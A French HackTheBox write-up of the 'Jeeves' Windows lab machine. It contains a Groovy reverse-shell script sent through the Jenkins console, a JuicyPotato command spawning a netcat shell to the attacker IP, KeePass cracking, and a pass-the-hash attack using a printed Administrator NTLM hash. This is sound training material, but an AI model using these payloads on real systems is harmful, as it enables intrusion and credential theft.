> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md). # Compte rendu HackTheBox de Jeeves {% embed url="" %} {% hint style="warning" %} **Compétences :** * Exploitation de Jenkins (Groovy Script Console) * Cassage de KeePass * Pass-the-Hash (Psexec) * RottenPotato (SeImpersonatePrivilege) * Flux de données alternatifs (ADS) {% endhint %} ## Reconnaissance **Configuration de l'espace de travail :** Nous allons établir notre espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance en utilisant Nmap

**Vérification de la connectivité VPN** Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

**Découverte des ports ouverts avec Nmap :** Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap : ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.63 -oG allPorts ```

**Analyse des ports ouverts avec extractPorts :** En utilisant la fonction extractPorts pour afficher de manière concise les ports ouverts et les copier dans le presse-papiers (80.135.445.50000)

**Scan de version des ports avec Nmap :** Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" : ```bash nmap -sCV -p80,135,445,50000 10.10.10.63 -oN targeted ```

### Port 80 - HTTP

Le port HTTP redirige constamment vers une `page error.html` page. Aucune autre information exploitable n'a été trouvée.

### Port 445 - SMB Nous essayons d'énumérer les partages SMB avec `smbmap` et `smbclient`: ```bash smbmap -H 10.10.10.63 -u 'null' smbmap -H 10.10.10.63 ``` ```bash smbclient -L 10.10.10.63 -N ``` Cependant, la session échoue avec l'erreur suivante : ``` échec de la configuration de la session : NT_STATUS_ACCESS_DENIED ``` Nous utilisons `crackmapexec` pour collecter les informations de la machine : ```bash crackmapexec smb 10.10.10.63 ``` Résultat : * **Système d'exploitation** : Windows 10 Pro 10586 x64 * **Nom de la machine**: JEEVES * **Domaine**: Jeeves

### **Port 50000 - Jenkins**

Nous lançons une analyse de répertoires avec `gobuster` pour explorer le contenu du service HTTP : ```bash gobuster dir -u http://10.10.10.63:50000/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 ``` Nous découvrons le répertoire **/askjeeves**

### CMS - Jenkins

**Jenkins - exécution de script Groovy** Le CMS Jenkins est accessible et l' **Script Console** option est activée, ce qui nous permet d'exécuter des scripts Groovy.

Exemple de commande pour tester l'exécution : ```groovy println "ipconfig".execute().text ```

### **Exploitation** #### **Reverse shell via la console de script Groovy** Pour obtenir un accès à distance, nous procédons comme suit : 1. /*/* Écouter sur notre machine sur le port 443/*/*: ```bash rlwrap nc -nvlp 443 ``` 2. /*/* Exécuter le script suivant dans la console Groovy/*/* console pour établir un shell inversé : {% code overflow="wrap" %} ```groovy String host="10.10.14.9"; int port=443; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); ``` {% endcode %}

### Drapeau user.txt :)

## **Élévation de privilèges** ## **Méthode 1 : craquage du fichier Keepass** Dans le **Documents** répertoire de l'utilisateur **Kosure**, nous trouvons un fichier avec l' **.kdbx** extension (fichier Keepass).

/*/* Transfert du fichier Keepass vers notre machine hôte/*/*/ Nous créons un serveur SMB depuis notre machine Linux pour transférer le fichier. Pour cela nous utilisons `smbserver.py`: ```bash smbserver.py share $(pwd) -smb2support ``` **Transfert depuis Windows**/ Depuis la machine Windows, nous copions le **CEH.kdbx** fichier vers notre machine hôte : ```powershell copy C:/Users/kohsuke/Documents/CEH.kdbx //10.10.14.9/share/ ```

### **Extraction du hachage du fichier KDBX** Pour extraire le hachage du **KDBX** fichier, nous utilisons **keepass2john** l'outil, qui fait partie de **John the Ripper**: ```bash keepass2john CEH.kdbx ```

### **Craquage du hachage** Nous utilisons **John the Ripper** pour effectuer une attaque par force brute sur le hachage extrait, avec la **liste de mots de passe rockyou. txt**: ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` Le mot de passe découvert est : * `moonshine1`

### **Visualisation du contenu de Keepass** Nous utilisons **KeepassXC** pour ouvrir et afficher le contenu de **Keepass**

Après avoir saisi le **moonshine1** mot de passe, nous accédons à plusieurs mots de passe, y compris un hachage NTLM v2 pour l'utilisateur **Administrator**:

```bash aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 ``` #### /*/* Audit du hachage NTLM v2 avec CrackMapExec/*/* Nous vérifions si le hachage correspond à un compte **Administrator** par **CrackMapExec**: ```bash crackmapexec smb 10.10.10.63 -u 'Administrator' -H 'aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00' ``` Le hachage est valide, et nous pouvons maintenant mener une attaque **Pass-the-Hash**.

### **Pass-the-Hash - PsExec** Nous utilisons **PsExec** pour se connecter à la machine cible en utilisant le NTLM v2 découvert. Cela nous donne des privilèges administratifs ```bash psexec.py WORKGROUP/Administrator@10.10.10.63 -hashes :e0fb1fb85756c24235ff238cbe81fe00 ``` Nous avons maintenant un accès complet en tant qu'administrateur.

## **Méthode 2 : Exploitation du privilège SeImpersonatePrivilege** Nous avons constaté que l'utilisateur possède le `SeImpersonatePrivilege` privilège, ce qui le rend vulnérable à certaines techniques d'élévation de privilèges. La commande ci-dessous confirme la présence de ce privilège : ```bash whoami /priv ```

Pour exploiter cette vulnérabilité, nous allons utiliser **JuicyPotato**, un outil bien connu pour abuser de ce privilège dans le contexte Windows. **Téléchargement des outils nécessaires** {% embed url="" %} {% embed url="" %} **Démarrer un serveur SmbFolder** sur notre machine d'attaque pour servir les fichiers : ```bash smbserver.py share $(pwd) -smb2support ``` **Transférer les fichiers vers la machine cible** en utilisant `Invoke-WebRequest`:

copy //10.10.14.9/share/JP.exe
copy //10.10.14.9/share/nc64.exe

**Exécution de JuicyPotato pour l'élévation de privilèges** Nous allons maintenant exécuter JuicyPotato pour obtenir une session privilégiée. La commande suivante lance JuicyPotato, qui exécute `cmd.exe` avec des privilèges élevés et initie une connexion vers notre machine d'attaque via Netcat : ```powershell ./JP.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c C:/Windows/Temp/privesc/nc64.exe -e cmd 10.10.14.9 1234" ``` **Connexion à la session élevée** Pour intercepter la connexion, nous écoutons sur le port 1234 : ```bash rlwrap nc -nvlp 1234 ```

## Flag root - ADS > Les flux de données alternatifs (ADS) sont une fonctionnalité des **NTFS** systèmes de fichiers sous Windows qui permet d'associer plusieurs flux de données à un seul fichier. Ces flux supplémentaires peuvent contenir des informations cachées qui ne sont pas visibles lors de l'inspection traditionnelle du fichier. Nous allons utiliser cette fonctionnalité pour découvrir le **flag root**.

#### **1. Vérification des flux de données alternatifs (ADS)** Nous commençons par vérifier si le **hm.txt** fichier situé sur le bureau de l'utilisateur **Administrator** contient des flux de données alternatifs. Pour ce faire, nous utilisons la commande suivante : ```bash dir /r C:/Users/Administrator/Desktop/hm.txt ``` Cette commande liste tous les flux de données alternatifs associés à **hm.txt** fichier. Si un flux de données alternatif est présent, il sera affiché.

#### **2. Affichage du contenu d'un flux de données alternatif** Si nous trouvons un flux de données alternatif associé au fichier, nous pouvons en afficher le contenu avec la commande suivante : ```powershell more < C:/Users/Administrator/Desktop/hm.txt:root.txt ``` Cela nous permet de lire le contenu du **root.txt** flux et de récupérer le **flag root :)**

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.